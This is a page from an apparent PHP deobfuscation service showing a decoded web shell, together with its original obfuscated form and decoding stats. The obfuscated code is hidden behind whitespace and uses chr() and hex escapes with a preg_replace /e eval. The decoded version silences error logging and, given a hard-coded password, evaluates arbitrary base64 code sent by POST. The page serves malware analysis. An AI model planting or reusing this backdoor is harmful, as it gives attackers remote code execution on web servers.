Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);

if (isset($_POST) && is_array($_POST) && count($_POST)>1)
{
	foreach ($_POST as $var)
	{
		if (!isset($code)) $code = $var;
		elseif (!isset($pass)) $pass = $var;
		else break;
	}

	if ($pass == "u8h2PnAqqQIzmV2Gw2Vx6PygGJKXMjIU")
	{
		eval(base64_decode($code));
	}
}
exit;

Did this file decode correctly?

Original Code

<?php


                                                                                                                                                                                                                                                                                       $afJPo4="pr".chr(101)."\x67\x5F".chr(114)."\x65".chr(112).chr(108)."a\x63e";$eB8wk="e\x76\x61l(\x62\x61".chr(115)."\x656".chr(52)."\x5f\x64e\x63od\x65\x28\x22QG".chr(86)."\x79c\x6D".chr(57)."\x79".chr(88).chr(51)."J".chr(108).chr(99)."\x47\x39y".chr(100)."\x47".chr(108)."\x75Zy\x67\x77K\x54\x73".chr(75)."\x51\x47\x6cua".chr(86)."\x39\x7a".chr(90)."\x58\x51\x6fI".chr(109)."\x52\x70\x63\x33".chr(66)."\x73\x59X\x6c\x66".chr(90).chr(88).chr(74)."y\x62\x33".chr(74)."z\x49i".chr(119).chr(119).chr(75)."\x54".chr(115)."\x4B".chr(81)."\x47lua".chr(86)."\x39\x7A".chr(90).chr(88).chr(81)."o".chr(73).chr(109)."\x78\x76".chr(90)."\x31\x39lc".chr(110)."\x4AvcnM\x69\x4c".chr(68).chr(65)."pOw".chr(112).chr(65).chr(97)."\x57\x35".chr(112)."X".chr(51)."\x4e\x6c\x64".chr(67)."g".chr(105)."Z".chr(88)."J".chr(121)."\x62\x33\x4Af".chr(98)."\x47\x39".chr(110)."\x49".chr(105).chr(119)."\x77".chr(75)."\x54\x73".chr(75)."\x43\x6D\x6Cm\x49Ch\x70\x633Nld".chr(67)."\x67\x6B\x581BPU\x31\x51\x70IC\x59mI".chr(71)."\x6C\x7A\x582\x46y\x63".chr(109).chr(70).chr(53).chr(75)."\x43\x52\x66\x55".chr(69)."\x39T".chr(86).chr(67).chr(107)."\x67\x4A\x69\x59".chr(103)."Y2\x39".chr(49).chr(98).chr(110)."Q".chr(111).chr(74)."\x46\x39".chr(81)."\x54".chr(49)."\x4EU\x4B\x54\x34".chr(120)."K\x51p7\x43g\x6c".chr(109)."b\x33".chr(74)."\x6cYWN\x6FI".chr(67)."gkX1B".chr(80)."U1\x51".chr(103)."Y".chr(88)."\x4d\x67\x4A".chr(72)."\x5ahc\x69".chr(107)."\x4B".chr(67)."X\x73\x4B".chr(67)."Q\x6C\x70\x5Ai\x41".chr(111)."IW\x6Cz\x63".chr(50)."V".chr(48)."K".chr(67)."\x52j".chr(98).chr(50)."R\x6c\x4b\x53".chr(107).chr(103).chr(74)."\x47N\x76\x5A".chr(71).chr(85).chr(103)."\x50\x53\x41k".chr(100)."\x6D".chr(70)."\x79\x4F".chr(119).chr(111)."\x4AC\x57\x56".chr(115)."c2".chr(86)."\x70\x5Ai".chr(65)."o\x49".chr(87)."l".chr(122).chr(99)."2\x56\x30".chr(75)."\x43RwY\x58N".chr(122).chr(75)."\x53kg\x4A\x48B".chr(104)."c3".chr(77)."\x67P".chr(83)."\x41".chr(107).chr(100).chr(109).chr(70)."y\x4f".chr(119)."\x6F".chr(74)."C\x57".chr(86).chr(115).chr(99)."\x32\x55gYn\x4Al".chr(89).chr(87).chr(115).chr(55).chr(67)."\x67l".chr(57)."C\x67\x6F\x4A".chr(97)."W\x59\x67\x4B\x43".chr(82)."\x77\x59\x58N\x7aID\x30\x39\x49\x43".chr(74)."\x31\x4FG".chr(103).chr(121)."\x55".chr(71)."\x35\x42\x63".chr(88)."FR\x53\x58p\x74".chr(86).chr(106)."\x4AH\x64\x7A\x4aW\x65\x44\x5A".chr(81).chr(101)."W\x64\x48".chr(83).chr(107).chr(116)."Y".chr(84)."W\x70".chr(74)."\x56S\x49".chr(112).chr(67)."g".chr(108)."7".chr(67)."gk".chr(74)."Z\x58Z\x68\x62\x43".chr(104)."\x69\x59\x58".chr(78)."\x6c\x4E".chr(106).chr(82).chr(102).chr(90)."G".chr(86)."\x6A".chr(98).chr(50)."R\x6cK\x43\x52\x6a".chr(98).chr(50)."R\x6cK".chr(83)."k\x37\x43\x67l\x39C".chr(110)."0".chr(75)."Z".chr(88)."hp\x64D".chr(115)."\x3D".chr(34)."\x29\x29;";$w85c="/".chr(102)."\x61\x314d\x34\x66\x652f\x319\x34\x31\x34".chr(100)."e3".chr(101)."\x62d9\x666".chr(51)."d\x35".chr(99).chr(48).chr(49).chr(54)."\x39\x2F".chr(101);$afJPo4($w85c,$eB8wk,"\x66\x61\x314d4f\x65".chr(50).chr(102)."1\x39".chr(52)."1".chr(52)."d".chr(101)."\x33\x65\x62d\x39f6".chr(51).chr(100)."5\x630\x31\x36\x39");

?>

Function Calls

chr 179
preg_replace 1
base64_decode 1

Variables

$w85c /fa14d4fe2f19414de3ebd9f63d5c0169/e
$eB8wk eval(base64_decode("QGVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQo..
$afJPo4 preg_replace

Stats

MD5 7595f4b7e001199ae72932d9cc980dfc
Eval Count 2
Decode Time 220 ms